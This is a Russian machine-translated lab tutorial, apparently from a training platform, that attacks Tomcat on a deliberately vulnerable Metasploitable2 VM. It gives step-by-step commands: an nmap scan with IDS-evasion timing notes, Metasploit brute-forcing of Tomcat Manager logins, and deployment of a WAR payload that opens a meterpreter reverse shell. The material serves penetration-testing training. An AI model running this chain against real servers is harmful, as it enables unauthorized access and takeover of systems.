Эксплуатация уязвимостей Tomcat с помощью Nmap в Kali Linux

NmapNmapBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом лабораторном занятии вы узнаете о принципах эксплойтации уязвимостей Tomcat и процессе атаки на них. Во время процесса атаки вы научитесь использовать Kali Linux и познакомитесь с фреймворком для атак Metasploit Framework (MSF) в Kali. Целевая машина для проникновения в этом лабораторном занятии - Metasploitable2, на основе среды Kali, предоставленной LabEx.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/timing_performance("Timing and Performance") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/installation -.-> lab-416130{{"Эксплуатация уязвимостей Tomcat с помощью Nmap в Kali Linux"}} nmap/port_scanning -.-> lab-416130{{"Эксплуатация уязвимостей Tomcat с помощью Nmap в Kali Linux"}} nmap/target_specification -.-> lab-416130{{"Эксплуатация уязвимостей Tomcat с помощью Nmap в Kali Linux"}} nmap/timing_performance -.-> lab-416130{{"Эксплуатация уязвимостей Tomcat с помощью Nmap в Kali Linux"}} nmap/service_detection -.-> lab-416130{{"Эксплуатация уязвимостей Tomcat с помощью Nmap в Kali Linux"}} end

Сканирование целевой машины на наличие сетевых уязвимостей

В типичном пентест-исследовании нам нужно провести дальнейшую атаку на целевую машину. Первое, что нам нужно сделать, это провести сканирование целевой машины на предмет проникновения. Во время процесса сканирования мы можем обнаружить службы, предоставляемые машиной, а затем определить, есть ли уязвимости на основе имеющейся информации. Затем мы пытаемся проникнуть через потенциальные уязвимости и, в конечном итоге, взломать целевую машину, чтобы получить доступ к ее уязвимостям.

  1. Откройте терминал xfce на хост-машине LabEx и запустите целевую машину Metasploitable2, выполнив следующую команду:
sudo virsh start Metasploitable2

Подождите, пока целевая машина запустится, это может занять от 1 до 3 минут.

  1. Проверьте связь с целевой машиной, отправив ей пинги:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить пингование.

  1. Запустите контейнер Kali Linux и войдите в среду bash, выполнив следующую команду:
docker run -ti --network host b5b709a49cd5 bash
  1. Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить пингование.

Теперь как атакующая, так и целевая машины запущены, и вы можете приступить к пентест-исследованию.

  1. Затем запустите msfconsole и войдите в интерфейс управления:
cd ~
msfconsole
  1. На этапе сканирования Nmap является очень полезным инструментом для сканирования. Во время процесса сканирования на уязвимости мы можем анализировать и пытаться эксплоитировать потенциальные уязвимости. Здесь мы выполняем сканирование целевой машины на предмет проникновения с помощью следующей команды:
nmap -sV -T5 target

В приведенной выше команде -T задает скорость сканирования:

Параметр Значение
nmap T0 Очень медленное сканирование, используется для обхода IDS (Intrusion Detection System)
nmap T1 Медленное сканирование, скорость между 0 и 2, также может обойти некоторые IDS
nmap T2 Уменьшенная скорость сканирования, обычно не используется
nmap T3 Скорость сканирования по умолчанию
nmap T4 Может перегрузить цель, вероятно, вызовет срабатывание брандмауэра
nmap T5 Сверхбыстрая скорость сканирования, при этом жертвуется точность ради скорости

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Подбор пароля для Tomcat

На этом этапе мы приступим к эксплойтации уязвимости Tomcat. Мы будем использовать модуль auxiliary/scanner/http/tomcat_mgr_login, который пытается войти в Tomcat Manager с использованием определенного набора имен пользователей и паролей. Если вход выполнен успешно, выводится результат.

Код модуля атаки:

Из результатов сканирования мы видим, что порт 8180 открыт. Попробуем атаковать этот порт. Сначала в терминале MSF поищем модуль для Tomcat, чтобы узнать, есть ли соответствующий модуль для эксплойтации уязвимости:

  1. Во - первых, если вы не находитесь в консоли Metasploit, запустите ее:
cd ~
msfconsole
  1. Используйте команду search для поиска подходящего модуля:
search tomcat
  1. Используйте команду use для выбора подходящего модуля:
use auxiliary/scanner/http/tomcat_mgr_login
  1. Отобразите параметры, которые необходимо настроить:
show options
  1. Затем проверьте обязательные параметры, которые нужно настроить, и используйте команду set для их настройки:
set RHOSTS 192.168.122.102
  1. Установите информацию о порте:
set RPORT 8180
  1. Далее используйте команду для атаки и подбора пароля:
exploit

Нажмите Ctrl + D, чтобы выйти из консоли Metasploit, а затем начните проверку

Использование пароля Tomcat для проникновения

После получения пароля для Tomcat с помощью соответствующего модуля мы используем этот пароль для проникновения в целевую машину. Мы будем использовать модуль exploit/multi/http/tomcat_mgr_deploy, который входит в Tomcat Manager и выполняет полезную нагрузку (payload). Эта полезная нагрузка загружает WAR - пакет с использованием операции PUT, и этот WAR - пакет содержит JSP - файл, который предоставляет обратную оболочку meterpreter.

Код модуля атаки:

  1. Во - первых, если вы не находитесь в консоли Metasploit, запустите ее:
cd ~
msfconsole
  1. Найдите подходящий модуль:
search tomcat
  1. Затем выберите подходящий модуль атаки:
use exploit/multi/http/tomcat_mgr_deploy
  1. Используйте команду show для просмотра необходимых параметров:
show options
  1. Установите адрес целевого хоста и порт для атаки:
set rhost 192.168.122.102
  1. Установите информацию о порте:
set rport 8180
  1. Установите имя учетной записи httpusername:
set httpusername tomcat
  1. Установите пароль httppassword:
set httppassword tomcat
  1. Затем выполните атаку (это может занять примерно одну минуту):
exploit
  1. Хорошо, теперь мы проникли в целевую машину. Далее мы проверим успешность проникновения. В терминале с успешной командой введите команду:
sysinfo

Не вводите whoami, так как это вызовет ошибку, потому что используемая здесь полезная нагрузка meterpreter не поддерживает команды типа hostname, id, whoami и т.д. Вы можете использовать команду help, чтобы увидеть поддерживаемые ей команды:

Как показано ниже, выводится информация об операционной системе:

Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Итог

В этом лабораторном занятии вы узнали о принципах уязвимости Tomcat и процессе ее атаки. Как правило, перед проведением пентест - исследования необходимо собрать информацию о целевой машине. Во время процесса сбора информации можно лучше обнаружить уязвимости и взломать целевую машину. После завершения этого лабораторного занятия вы должны были овладеть следующими ключевыми знаниями:

  • Принципы уязвимости Tomcat
  • Использование сканирования Nmap
  • Процесс атаки с помощью MSF
  • Проверка успешности атаки